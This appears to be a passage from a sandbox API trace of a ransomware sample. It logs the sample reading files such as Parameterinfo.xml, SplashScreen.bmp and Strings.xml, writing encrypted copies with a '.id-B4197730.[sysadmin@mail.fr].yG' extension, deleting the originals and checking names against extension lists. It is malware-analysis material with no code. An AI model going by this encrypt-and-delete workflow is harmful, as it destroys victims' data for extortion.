	[0044.349] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.350] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.350] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.350] GetLastError () returned 0x0
	[0044.350] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x16c82, lpOverlapped=0x0) returned 1
	[0044.529] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x16c90, lpOverlapped=0x0) returned 1
	[0044.530] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.530] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0044.531] SetEndOfFile (hFile=0x34c) returned 1
	[0044.531] CloseHandle (hObject=0x34c) returned 1
	[0044.533] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.533] SetEndOfFile (hFile=0x2ec) returned 1
	[0044.534] CloseHandle (hObject=0x2ec) returned 1
	[0044.534] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.534] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1
	[0044.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.534] lstrlenW (lpString=".doc") returned 4
	[0044.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.534] lstrlenW (lpString=".docx") returned 5
	[0044.534] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.534] lstrlenW (lpString=".pdf") returned 4
	[0044.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString=".xls") returned 4
	[0044.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString=".xlsx") returned 5
	[0044.535] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.535] lstrlenW (lpString=".ppt") returned 4
	[0044.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.535] lstrlenW (lpString=".zip") returned 4
	[0044.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.535] lstrlenW (lpString=".rar") returned 4
	[0044.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString=".bz2") returned 4
	[0044.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString=".7z") returned 3
	[0044.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.535] lstrlenW (lpString=".dbf") returned 4
	[0044.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.535] lstrlenW (lpString=".1cd") returned 4
	[0044.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.535] lstrlenW (lpString=".jpg") returned 4
	[0044.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.535] lstrlenW (lpString=".doc") returned 4
	[0044.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString=".docx") returned 5
	[0044.535] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.535] lstrlenW (lpString=".pdf") returned 4
	[0044.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString=".xls") returned 4
	[0044.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.535] lstrlenW (lpString=".xlsx") returned 5
	[0044.536] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.536] lstrlenW (lpString=".ppt") returned 4
	[0044.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.536] lstrlenW (lpString=".zip") returned 4
	[0044.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.536] lstrlenW (lpString=".rar") returned 4
	[0044.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.536] lstrlenW (lpString=".bz2") returned 4
	[0044.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.536] lstrlenW (lpString=".7z") returned 3
	[0044.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.536] lstrlenW (lpString=".dbf") returned 4
	[0044.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.536] lstrlenW (lpString=".1cd") returned 4
	[0044.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0044.536] lstrlenW (lpString=".jpg") returned 4
	[0044.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.536] lstrcmpiW (lpString1=".bmp", lpString2=".yG") returned -1
	[0044.536] lstrlenW (lpString="SplashScreen.bmp") returned 16
	[0044.536] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.536] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=41080) returned 1
	[0044.536] CloseHandle (hObject=0x2ec) returned 1
	[0044.537] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80
	[0044.537] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.537] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.537] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.537] GetLastError () returned 0x0
	[0044.537] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xa078, lpOverlapped=0x0) returned 1
	[0044.557] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xa080, lpOverlapped=0x0) returned 1
	[0044.561] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.561] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf4, lpOverlapped=0x0) returned 1
	[0044.561] SetEndOfFile (hFile=0x34c) returned 1
	[0044.561] CloseHandle (hObject=0x34c) returned 1
	[0044.562] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.562] SetEndOfFile (hFile=0x2ec) returned 1
	[0044.563] CloseHandle (hObject=0x2ec) returned 1
	[0044.563] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.564] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1
	[0044.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.564] lstrlenW (lpString=".doc") returned 4
	[0044.564] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0044.564] lstrlenW (lpString=".docx") returned 5
	[0044.564] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0044.564] lstrlenW (lpString=".pdf") returned 4
	[0044.564] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0044.564] lstrlenW (lpString=".xls") returned 4
	[0044.564] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0044.564] lstrlenW (lpString=".xlsx") returned 5
	[0044.564] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0044.564] lstrlenW (lpString=".ppt") returned 4
	[0044.564] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0044.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.564] lstrlenW (lpString=".zip") returned 4
	[0044.564] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0044.564] lstrlenW (lpString=".rar") returned 4
	[0044.564] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0044.564] lstrlenW (lpString=".bz2") returned 4
	[0044.564] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0044.564] lstrlenW (lpString=".7z") returned 3
	[0044.564] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString=".dbf") returned 4
	[0044.565] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString=".1cd") returned 4
	[0044.565] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString=".jpg") returned 4
	[0044.565] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString=".doc") returned 4
	[0044.565] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString=".docx") returned 5
	[0044.565] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0044.565] lstrlenW (lpString=".pdf") returned 4
	[0044.565] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString=".xls") returned 4
	[0044.565] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString=".xlsx") returned 5
	[0044.565] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0044.565] lstrlenW (lpString=".ppt") returned 4
	[0044.565] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString=".zip") returned 4
	[0044.565] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString=".rar") returned 4
	[0044.565] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString=".bz2") returned 4
	[0044.565] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString=".7z") returned 3
	[0044.565] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString=".dbf") returned 4
	[0044.565] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0044.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.565] lstrlenW (lpString=".1cd") returned 4
	[0044.566] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0044.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0044.566] lstrlenW (lpString=".jpg") returned 4
	[0044.566] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0044.566] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.566] lstrlenW (lpString="Strings.xml") returned 11
	[0044.566] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.566] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=14084) returned 1
	[0044.566] CloseHandle (hObject=0x2ec) returned 1
	[0044.566] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80
	[0044.566] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.566] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.566] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.566] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.567] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.567] GetLastError () returned 0x0
	[0044.567] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x3704, lpOverlapped=0x0) returned 1
	[0044.722] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x3710, lpOverlapped=0x0) returned 1
	[0044.725] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.725] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xea, lpOverlapped=0x0) returned 1
	[0044.725] SetEndOfFile (hFile=0x34c) returned 1
	[0044.725] CloseHandle (hObject=0x34c) returned 1
	[0044.726] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.726] SetEndOfFile (hFile=0x2ec) returned 1
	[0044.727] CloseHandle (hObject=0x2ec) returned 1
	[0044.727] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.727] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1
	[0044.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.732] lstrlenW (lpString=".doc") returned 4
	[0044.732] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.732] lstrlenW (lpString=".docx") returned 5
	[0044.732] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0044.732] lstrlenW (lpString=".pdf") returned 4
	[0044.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString=".xls") returned 4
	[0044.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString=".xlsx") returned 5
	[0044.733] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0044.733] lstrlenW (lpString=".ppt") returned 4
	[0044.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.733] lstrlenW (lpString=".zip") returned 4
	[0044.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.733] lstrlenW (lpString=".rar") returned 4
	[0044.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString=".bz2") returned 4
	[0044.733] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString=".7z") returned 3
	[0044.733] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.733] lstrlenW (lpString=".dbf") returned 4
	[0044.733] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.733] lstrlenW (lpString=".1cd") returned 4
	[0044.733] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.733] lstrlenW (lpString=".jpg") returned 4
	[0044.733] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.733] lstrlenW (lpString=".doc") returned 4
	[0044.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString=".docx") returned 5
	[0044.733] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0044.733] lstrlenW (lpString=".pdf") returned 4
	[0044.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString=".xls") returned 4
	[0044.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.733] lstrlenW (lpString=".xlsx") returned 5
	[0044.733] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0044.733] lstrlenW (lpString=".ppt") returned 4
	[0044.734] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.734] lstrlenW (lpString=".zip") returned 4
	[0044.734] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.734] lstrlenW (lpString=".rar") returned 4
	[0044.734] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.734] lstrlenW (lpString=".bz2") returned 4
	[0044.734] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.734] lstrlenW (lpString=".7z") returned 3
	[0044.734] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.734] lstrlenW (lpString=".dbf") returned 4
	[0044.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.734] lstrlenW (lpString=".1cd") returned 4
	[0044.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0044.734] lstrlenW (lpString=".jpg") returned 4
	[0044.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.734] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.734] lstrlenW (lpString="UiInfo.xml") returned 10
	[0044.734] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0044.739] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=38898) returned 1
	[0044.739] CloseHandle (hObject=0x380) returned 1
	[0044.739] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80
	[0044.739] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.740] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0044.740] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.740] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.740] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0044.741] GetLastError () returned 0x0
	[0044.741] ReadFile (in: hFile=0x2f0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x97f2, lpOverlapped=0x0) returned 1
	[0044.802] WriteFile (in: hFile=0x380, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x9800, lpOverlapped=0x0) returned 1
	[0044.803] ReadFile (in: hFile=0x2f0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.803] WriteFile (in: hFile=0x380, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xe8, lpOverlapped=0x0) returned 1
	[0044.803] SetEndOfFile (hFile=0x380) returned 1
